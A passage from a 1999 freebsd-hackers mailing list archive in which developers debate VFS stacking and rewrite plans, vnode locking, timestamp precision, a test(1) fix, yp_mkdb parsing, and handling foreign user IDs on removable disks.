filesystem namespace accessible to users. Consider the case of a VFS without quota support, stacked under a VFS layer that provided quota support by hiding a file in the top level directory ("quota") and then folding the directory closed by rerooting in a subdirectory of the top level directory ("root/"). It's reasonable to assume that most admins that want to enforce quotas would *not* want the possibility of exposing the VFS without quota support in the user accessible namespace. Should the VFS without quotas refuse such exposure? I think the answer is "no", and that it is an administrative control issue, not a VFS's preference issue. Administrators enforce this by protecting the path to exposure points, or by mounting stacks over top of exposure points, which results in the exposure being hidden under another mount. Using the QUOTAFS example, you mount the FS to be quota-enforced on /home, and then you mount the QUOTAFS over top of it, and have it cover "/home" itself, hiding the underlying FS from exposure. > > I would resolve this by passing a standard option to the mount code > > in user space. For root mounts, a vnode is passed down. For other > > mounts, the vnode is parsed and passed if the option is specified. > > Or maybe add a field to vfsops. This info says what the mount call will > expect (I want a block device, a regular file, a directory, etc), so it > fits. :-) This is actually an elegant soloution to the problem. Much of the time, we don't consider data interfaces when they are appropriate because of their widespread use in inappropriate ways (e.g. "ps"). > Also, if we leave it to userland, what happens if someone writes a > program which calls sys_mount with something the fs doesn't expect. :-) Well, that gets to another grail of mine: when a device containing a filesystem "arrives", I believe it should trigger a mount into the list of mounted filesystems. I don't necessarily mean that it should also be exported into the filesystem hierarchy at that point (but it's an option, using the "last mounted on" information). > > I think that you will only be able to find rare examples of FS's > > that don't take device names as arguments. But for those, you > > don't specify the option, and it gets "NULL", and whatever local > > options you specify. > > I agree I can't see a leaf fs not taking a device node. But layered > fs's certainly will want something else. :-) I think they want a vnode of an already mounted FS. The trick is to enforce the "already mounted" part of that. I'm comforable with doing this by saying "it's not already mounted until you can look up a vnode on it". > > The point is that, for FS's that can be both root and sub-root, > > the mount code doesn't have to make the decision, it can be punted > > to higher level code, in one place, where the code can be centrally > > maintained and kept from getting "stale" when things change out > > from under it. > > True. > > And with good comments we can catch the times when the centrally located > code changes & brakes an assumption made by the fs. :-) 8-). > > > Except for a minor buglet with device nodes, stacking works in NetBSD at > > > present. :-) > > > > Have you tried Heidemann's student's stacking layers? There is one > > encryption, and one per-file compression with namespace hiding, that > > I think it would be hard pressed to keep up with. But I'll give it > > the benefit of the doubt. 8-). > > Nope. The problem is that while stacking (null, umap, and overlay fs's) > work, we don't have the coherency issues worked out so that upper layers > can cache data. i.e. so that the lower fs knows it has to ask the uper > layers to give pages back. :-) But multiple ls -lR's work fine. :-) With UVM in NetBSD, this is (supposedly) not an issue. You could actually think of it this way, as well: only FS's that contain vnodes that provide backing should implement VOP_GETPAGES and VOP_PUTPAGES, and all I/O should be done through paging. > > > I agree it's ugly, but it has the advantage that it doesn't grow the > > > on-disk inode. A lot of flks have designs on the remaining 64 bits free. > > > :-) > > > > Well, so long as we can resolve the issue for a long, long time; > > I plan on being around to have to put up with the bugs, if I can > > wrangle it... 8-). > > :-) > > I bet by then (559447 AD) we won't be using ffs, so the problem will be > moot. :-) Unless I'm the curator of a computer museum... 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:29:54 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 0C30115912; Mon, 23 Aug 1999 23:29:10 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04679; Mon, 23 Aug 1999 23:28:15 -0700 (PDT) Date: Wed, 18 Aug 1999 11:43:05 -0700 (PDT) Message-Id: <199908240628.XAA04679@gilliam.users.flyingcroc.net> From: Chris Costello Subject: Re: cvs commit: src/bin/test test.c To: Sheldon Hearn Cc: Brian Feldman , hackers@FreeBSD.ORG Reply-To: chris@calldei.com Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Aug 18, 1999, Sheldon Hearn wrote: > > green 1999/08/17 17:18:53 PDT > > > > Modified files: > > bin/test test.c > > Log: > > The new test(1) did not use access() correctly. I don't know why, since > > supposedly it's ksh-derived, and it's not broken in pdksh. I've added > > a test for test running as root: if testing for -x, the file must be > > mode & 0111 to get "success", rather than just existant. > > > > Reviewed by: chris > > What were you actually trying to fix, here? I didn't see any discussion > of this on hackers, current or bugs, nor in response to my initial > commit message. He was "fixing" (though, as Bruce pointed out, it wasn't a valid fix) test -x. Apparently, access(2) will return 'success' on access(file, X_OK) if called by a program run by root. The patch partly solves the problem, but the euid-vs-ruid problem remains. -- |Chris Costello |Disc space, the final frontier! `---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:29:55 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id BF57C15278; Mon, 23 Aug 1999 23:28:30 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04645; Mon, 23 Aug 1999 23:28:12 -0700 (PDT) Date: Wed, 18 Aug 1999 11:37:03 -0700 (PDT) Message-Id: <199908240628.XAA04645@gilliam.users.flyingcroc.net> From: Matthew Dillon To: Julian Elischer Cc: Poul-Henning Kamp , Bill Studenmund , Terry Lambert , Alton Matthew , Hackers@FreeBSD.ORG, fs@FreeBSD.ORG Subject: Re: BSD XFS Port & BSD VFS Rewrite Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :On Wed, 18 Aug 1999, Poul-Henning Kamp wrote: : :> Matt doesn't represent the FreeBSD project, and even if he rewrites :> the VFS subsystem so he can understand it, his rewrite would face :> considerable resistance on its way into FreeBSD. I don't think :> there is reason to rewrite it, but there certainly are areas :> that need fixing. : :You are misinformed as far as I know.. From discussions I saw, th :main architect of a VFS rewrite would be Kirk, and Matt would be acting as :Kirk's right-hand-man. Yes, this is correct. Kirk is going to be the main architect. I have been heavily involved and will continue to be. :> >> The use of the "vfs_default" to make unimplemented VOP's : :> I beg to differ. The only difference is that we pass through :> multiple layers before we hit the bottom of the stack. There is :... :Well I believe that Kirk considers them misguided too, but he stated that :he wasn't going to remove them without serious thought about the alternatives. The vfs op callout layering has not been on the radar screen. There are much too many other more serious problems. I really doubt that any changes will be made to this piece any time in the next year or even two, if at all. The main items on the radar screen are related to buffer management (struct buf stuff. For example, preventing VM blockages due to pages being wired by write I/O's), VFS locking and reference count issues (for example, namei lookups, blockages in the pager and syncer due to vnode locks held by blocked processes, etc...), and interactions between VFS and VM (for example: moving away from VOP_READ/VOP_WRITE and moving more towards a getpages/putpages model). None of the items have been set in stone yet. We're waiting for Kirk to get back from vacation and get back into the groove. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:30:17 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id C267315952; Mon, 23 Aug 1999 23:29:15 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04901; Mon, 23 Aug 1999 23:28:30 -0700 (PDT) Date: Wed, 18 Aug 1999 13:28:31 -0700 (PDT) Message-Id: <199908240628.XAA04901@gilliam.users.flyingcroc.net> From: "Nathaniel Schein" To: "Owner-Freebsd-Questions" Cc: Subject: yp_mkdb Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am in the process of upgrading a NIS master using version 2.1.0 to version 3.2. The 'Makefile' has been customized to include automount maps for our IRIX machines as was the 'Makefile' in the old NIS Master. The problem is that for some reason the program 'yp_mkdb' in 3.2 is much more picky. It does not tolerate lines as such: nschein -rw,intr nister:/usr/home:& It complains when it encounters the '-' if removed it works fine. Also it has problems with the '+' and absence of a whitespace following the first ASCI string in the following line: +auto.home What has changed in yp_mkdb? Is there a way to escape certain symbols? I have already tried \ '' "". Or is there another way to make the database file? Nathaniel Schein To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:30:44 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 9BCDE15235 for ; Mon, 23 Aug 1999 23:28:30 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04576; Mon, 23 Aug 1999 23:28:09 -0700 (PDT) Date: Wed, 18 Aug 1999 11:15:32 -0700 (PDT) Message-Id: <199908240628.XAA04576@gilliam.users.flyingcroc.net> From: Nate Williams To: Julian Elischer Cc: Hackers@FreeBSD.ORG Subject: Re: BSD XFS Port & BSD VFS Rewrite Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Matt doesn't represent the FreeBSD project, and even if he rewrites > > the VFS subsystem so he can understand it, his rewrite would face > > considerable resistance on its way into FreeBSD. I don't think > > there is reason to rewrite it, but there certainly are areas > > that need fixing. > > You are misinformed as far as I know.. From discussions I saw, th > main architect of a VFS rewrite would be Kirk, and Matt would be acting as > Kirk's right-hand-man. Which discussions are these? Are they archived somewhere? Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:30:46 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id DCB41152B1; Mon, 23 Aug 1999 23:28:30 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04556; Mon, 23 Aug 1999 23:28:07 -0700 (PDT) Date: Wed, 18 Aug 1999 11:09:14 -0700 (PDT) Message-Id: <199908240628.XAA04556@gilliam.users.flyingcroc.net> From: Julian Elischer To: Poul-Henning Kamp Cc: Bill Studenmund , Terry Lambert , Alton Matthew , Hackers@FreeBSD.ORG, fs@FreeBSD.ORG Subject: Re: BSD XFS Port & BSD VFS Rewrite Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 18 Aug 1999, Poul-Henning Kamp wrote: > Matt doesn't represent the FreeBSD project, and even if he rewrites > the VFS subsystem so he can understand it, his rewrite would face > considerable resistance on its way into FreeBSD. I don't think > there is reason to rewrite it, but there certainly are areas > that need fixing. You are misinformed as far as I know.. From discussions I saw, th main architect of a VFS rewrite would be Kirk, and Matt would be acting as Kirk's right-hand-man. > > >> The use of the "vfs_default" to make unimplemented VOP's > >> fall through to code which implements function, while well > >> intentioned, is misguided. > > I beg to differ. The only difference is that we pass through > multiple layers before we hit the bottom of the stack. There is > no loss of functionality but significant gain of clarity and > modularity. Well I believe that Kirk considers them misguided too, but he stated that he wasn't going to remove them without serious thought about the alternatives. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:30:54 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id BD446158A0; Mon, 23 Aug 1999 23:28:58 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04712; Mon, 23 Aug 1999 23:28:19 -0700 (PDT) Date: Wed, 18 Aug 1999 11:58:41 -0700 (PDT) Message-Id: <199908240628.XAA04712@gilliam.users.flyingcroc.net> To: Terry Lambert Cc: michaelh@cet.co.jp, wrstuden@nas.nasa.gov, Matthew.Alton@anheuser-busch.com, Hackers@FreeBSD.ORG, fs@FreeBSD.ORG Subject: Re: BSD XFS Port & BSD VFS Rewrite From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <199908181848.LAA14960@usr02.primenet.com>, Terry Lambert writes: >> >You would have to de-collapse several VOP lists that have been >> >pre-collapsed. >> >> You are talking gibberish here. Please show code where this is >> a problem. > >When you write a proxy stacking layer, such as John Heidemann's >network proxy stacking layer (an NFS alternative), VOP's which >would normally be handled by vfs_default have to be handled on >the other end of the proxy, instead, in the same way that they >would be handled by the vfs_default stuff. And what prevents you from taking over the default op ? -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:31: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 2E4501508E for ; Mon, 23 Aug 1999 23:28:47 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04669; Mon, 23 Aug 1999 23:28:14 -0700 (PDT) Date: Wed, 18 Aug 1999 11:39:36 -0700 (PDT) Message-Id: <199908240628.XAA04669@gilliam.users.flyingcroc.net> From: Julian Elischer To: Nate Williams Cc: Hackers@FreeBSD.ORG Subject: Re: BSD XFS Port & BSD VFS Rewrite Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The discussions between Kirk and matt over a glass of beer/drink at kirk's party at USENIX and at the Bay area User's group. On Wed, 18 Aug 1999, Nate Williams wrote: > > > Matt doesn't represent the FreeBSD project, and even if he rewrites > > > the VFS subsystem so he can understand it, his rewrite would face > > > considerable resistance on its way into FreeBSD. I don't think > > > there is reason to rewrite it, but there certainly are areas > > > that need fixing. > > > > You are misinformed as far as I know.. From discussions I saw, th > > main architect of a VFS rewrite would be Kirk, and Matt would be acting as > > Kirk's right-hand-man. > > Which discussions are these? Are they archived somewhere? > > > Nate > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:31:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 3ED21158E7 for ; Mon, 23 Aug 1999 23:29:03 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04541; Mon, 23 Aug 1999 23:28:06 -0700 (PDT) Date: Wed, 18 Aug 1999 11:06:06 -0700 (PDT) Message-Id: <199908240628.XAA04541@gilliam.users.flyingcroc.net> To: nate@mt.sri.com (Nate Williams) Cc: Bill Studenmund , Terry Lambert , Hackers@FreeBSD.ORG Subject: Re: BSD XFS Port & BSD VFS Rewrite From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <199908181737.LAA03569@mt.sri.com>, Nate Williams writes: >> > Both struct timespec and struct timeval are major mistakes, they >> > make arithmetic on timestamps an expensive operation. Timestamps >> > should be stored as integers using an fix-point notations, for >> > instance 64bits with 32bit fractional seconds (the NTP timestamp), >> > or in the future 128/48. >... >> >> > Extending from 64 to 128bits would be a cheap shift and increased >> > precision and range could go hand in hand. >> >> I doubt we need more than 64 bit times. 2^63 seconds works out to >> 292,279,025,208 years, or 292 (american) billion years. > >I think Poul's point is that in the future seconds is probably way too >coarse grained. Computer's are getting faster all the time, and in the >future we may need 64 seconds, plus an additional 64 bits for the >fractions of a second, which will be necessary for accurate timekeeping. No, 64bits of fractions will not be needed, at least until we start using FreeBSD as embedded computer in Heisenbergcompensators. I recall somebody saying that 100GHz was the highest realistic (or lowest unrealistic) clock frequency using digital logic, the argument was pretty convincing physically: light speed sets a size limit, that prescripes some voltage gradients which in turn produces EMC which in turn makes sure nothing works. Also various tunnel effects, and the general heisenberisms took their toll. State of the art time interval measuring equipment is into the "a few picosecond" territory (http://www.timing.com/). Based on that I would say that 40 to 48 bits will be OK for the fraction. As a sidebar: I had a kernel running which used 32i.32f timestamps and converted to timeval & timespec as needed and it actually made a lot of code look a lot more sane. I may go back and do it some day. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:31:32 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 6B545158B1; Mon, 23 Aug 1999 23:28:59 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04725; Mon, 23 Aug 1999 23:28:19 -0700 (PDT) Date: Wed, 18 Aug 1999 12:01:18 -0700 (PDT) Message-Id: <199908240628.XAA04725@gilliam.users.flyingcroc.net> From: Bill Studenmund Reply-To: Bill Studenmund To: Terry Lambert Cc: Hackers@FreeBSD.ORG, fs@FreeBSD.ORG Subject: Re: BSD XFS Port & BSD VFS Rewrite Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 18 Aug 1999, Terry Lambert wrote: > > Right. That exported struct lock * makes locking down to the lowest-level > > file easy - you just feed it to the lock manager, and you're locking the > > same lock the lowest level fs uses. You then lock all vnodes stacked over > > this one at the same time. Otherwise, you just call VOP_LOCK below and > > then lock yourself. > > I think this defeats the purpose of the stacking architecture; I > think that if you look at an unadulterated NULLFS, you'll see what I > mean. Please be more precise. I have looked at an unadulterated NULLFS, and found it lacking. I don't see how this change breaks stacking. > Intermediate FS's should not trap VOP's that are not applicable > to them. True. But VOP_LOCK is applicable to layered fs's. :-) > One of the purposes of doing a VOP_LOCK on intermediate vnodes > that aren't backing objects is to deal with the global vnode > pool management. I'd really like FS's to own their vnode pools, > but even without that, you don't need the locking, since you > only need to flush data on vnodes that are backing objects. > > If we look at a stack of FS's with intermediate exposure into the > namespace, then it's clear that the issue is really only applicable > to objects that act as a backing store: > > > ---------------------- ---------------------- -------------------- > FS Exposed in hierarchy Backing object > ---------------------- ---------------------- -------------------- > top yes no > intermediate_1 no no > intermediate_2 no yes > intermediate_3 yes no > bottom no yes > ---------------------- ---------------------- -------------------- > > So when we lock "top", we only lock in intermediate_2 and in bottom. No. One of the things Heidemann notes in his dissertation is that to prevent deadlock, you have to lock the whole stack of vnodes at once, not bit by bit. i.e. there is one lock for the whole thing. > > Actually isn't the only problem when you have vnode fan-in (union FS)? > > i.e. a plain compressing layer should not introduce vnode locking > > problems. > > If it's a block compression layer, it will. Also a translation layer; > consider a pure Unicode system that wants to remotely mount an FS > from a legacy system. To do this, it needs to expand the pages from > the legacy system [only it can, since the legacy system doesn't know > about Unicode] in a 2:1 ratio. Now consider doing a byte-range lock > on a file on such a system. To propogate the lock, you have to do > an arithmetic conversion at the translation layer. This gets worse > if the lower end FS is exposed in the namespace as well. Wait. byte-range locking is different from vnode locking. I've been talking about vnode locking, which is different from the byte-range locking you're discussing above. > > Nope. The problem is that while stacking (null, umap, and overlay fs's) > > work, we don't have the coherency issues worked out so that upper layers > > can cache data. i.e. so that the lower fs knows it has to ask the uper > > layers to give pages back. :-) But multiple ls -lR's work fine. :-) > > With UVM in NetBSD, this is (supposedly) not an issue. UBC. UVM is a new memory manager. UBC unifies the buffer cache with the VM system. > You could actually think of it this way, as well: only FS's that > contain vnodes that provide backing should implement VOP_GETPAGES > and VOP_PUTPAGES, and all I/O should be done through paging. Right. That's part of UBC. :-) Take care, Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:31:41 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 4D9AE158F0; Mon, 23 Aug 1999 23:29:05 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04749; Mon, 23 Aug 1999 23:28:20 -0700 (PDT) Date: Wed, 18 Aug 1999 12:09:27 -0700 (PDT) Message-Id: <199908240628.XAA04749@gilliam.users.flyingcroc.net> From: Bill Studenmund Reply-To: Bill Studenmund To: Poul-Henning Kamp Cc: Terry Lambert , Hackers@FreeBSD.ORG, fs@FreeBSD.ORG Subject: Re: BSD XFS Port & BSD VFS Rewrite Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 18 Aug 1999, Poul-Henning Kamp wrote: > Yes, but we need subsecond in the filesystems. Think about make(1) on > a blinding fast machine... Oh yes, I realize that. :-) It's just that I thought you were at one point suggesting having 128 bits to the left of the decimal point (128 bits worth of seconds). I was trying to say that'd be a bit much. :-) Take care, Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:31:41 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id CDCC915901; Mon, 23 Aug 1999 23:29:03 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04695; Mon, 23 Aug 1999 23:28:18 -0700 (PDT) Date: Wed, 18 Aug 1999 11:49:25 -0700 (PDT) Message-Id: <199908240628.XAA04695@gilliam.users.flyingcroc.net> From: Terry Lambert Subject: Re: BSD XFS Port & BSD VFS Rewrite To: phk@critter.freebsd.dk (Poul-Henning Kamp) Cc: tlambert@primenet.com, michaelh@cet.co.jp, wrstuden@nas.nasa.gov, Matthew.Alton@anheuser-busch.com, Hackers@FreeBSD.ORG, fs@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >> > > I'm not familiar with the VFS_default stuff. All the vop_default_desc > >> > > routines in NetBSD point to error routines. > >> > > >> > In FreeBSD, they now point to default routines that are *not* error > >> > routines. This is the problem. I admit the change was very well > >> > intentioned, since it made the code a hell of a lot more readable, > >> > but choosing between readable and additional function, I take function > >> > over form (I think the way I would have "fixed" the readability is by > >> > making the operations that result in the descriptor set for a mounted > >> > FS instance be both discrete, and named for their specific function). > >> > >> As I recall most of FBSD's default routines are also error routines, if > >> the exceptions were a problem it would would be trivial to fix. > > > >You would have to de-collapse several VOP lists that have been > >pre-collapsed. > > You are talking gibberish here. Please show code where this is > a problem. When you write a proxy stacking layer, such as John Heidemann's network proxy stacking layer (an NFS alternative), VOP's which would normally be handled by vfs_default have to be handled on the other end of the proxy, instead, in the same way that they would be handled by the vfs_default stuff. Some VOP's, like advisory locking, need both local assertion and remote proxy of the VOP to avoid introducing race windows. The result of this is that, if you rely on the vfs_default stuff, then you can't proxy those VOP's into a different address space, either on another machine, or to a user space VFS stacking layer developement environment. This is the same problem that embedding VM references directly into any FS causes, and that vm_object_t aliases would exacerbate. John has, in the past, sent me a number of stacking layers done by various people, with the requirement that I not redistribute them, as they are not what he would consider to be properly representative of finished work. Since John himself did the network proxy, you could perhaps get him to send you a copy, so you could have direct access to code where this was a problem. Make sure that the system you are talking to over the proxy is not assumed to be a FreeBSD system (e.g. don't assume that the vfs_default stuff exists on the other end of the proxy, or that it would be functional). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:48:26 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 2C40E158AB for ; Mon, 23 Aug 1999 23:48:17 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04861; Mon, 23 Aug 1999 23:28:29 -0700 (PDT) Date: Wed, 18 Aug 1999 13:03:09 -0700 (PDT) Message-Id: <199908240628.XAA04861@gilliam.users.flyingcroc.net> From: Bill Studenmund To: "Brian C. Grayson" Cc: wsanchez@apple.com, freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, pwd@apple.com, warner.c@apple.com, umeshv@apple.com Subject: Re: Need some advice regarding portable user IDs Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 17 Aug 1999, Brian C. Grayson wrote: > On Tue, Aug 17, 1999 at 07:17:45PM -0700, Wilfredo Sanchez wrote: > > A group of us at Apple are trying to figure out how to handle > > situations where a filesystem with "foreign" user ID's are present. > > Have you looked at mount_umap(8)? I (naively) think it would > solve most of your concerns. I don't think so. umap is for translating credentials between domains. I think what Fred wants to do is different, and that is to ignore the credentials on the system. Fred, right now what happens in MacOS when I take a disk which has sharing credentials set up, and hook it into another machine? How are the credentials handled there? Also, one of the problems which has been brought up in the thread is that umap needs to know what credentials to translate to. For that, we'd need to stash the credentails on the drive. Take care, Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:48:27 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 0380615810 for ; Mon, 23 Aug 1999 23:48:17 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04969; Mon, 23 Aug 1999 23:28:42 -0700 (PDT) Date: Wed, 18 Aug 1999 14:38:52 -0700 (PDT) Message-Id: <199908240628.XAA04969@gilliam.users.flyingcroc.net> From: Doug To: wsanchez@apple.com Cc: freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, pwd@apple.com, warner.c@apple.com, umeshv@apple.com Subject: Re: Need some advice regarding portable user IDs Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wilfredo Sanchez wrote: > > A group of us at Apple are trying to figure out how to handle > situations where a filesystem with "foreign" user ID's are present. > The basic problem is that the user experience using Unix semantics > are not really pleasant. I think some examples would help: > > I'm working with Joe on a project, and I have some sources I want > him to take a look at, so I mount a floppy disk. Well, that's a bad > example, because floppies are "out"... So I mount a zip disk with UFS > on it, and I copy my source tree onto it, and hand this to Joe. Joe > takes the disk home, and sticks it in his computer, and he finds > that he can't read the files, because I have a lamer umask, and as a > bonus, I don't have an account on his machine, so the files are owned > by some random UID. Having run into this problem myself, both with tar'ed archives and zip disks I came up with the following dream world one day. In my world there are two magic uid's, one for a "read only" user and one for a "read write" user. If I give Joe a zip disk with my files on it all owned by my uid, by default when he puts it in his drive at his workstation it comes up with all files owned by the read only user. He can read the files, copy them to his work station, etc. but he can't make changes to the existing files. If I want to let Joe change the files on my disk I can set the rw flag, so when he pops it in his drive it comes up owned by the "read write" user. (Still assuming that Joe and I have mismatched uid's.) In a system like this I'd also like to see a flag that lets the owner require that the uid semantics are enforced. Also, the flags should 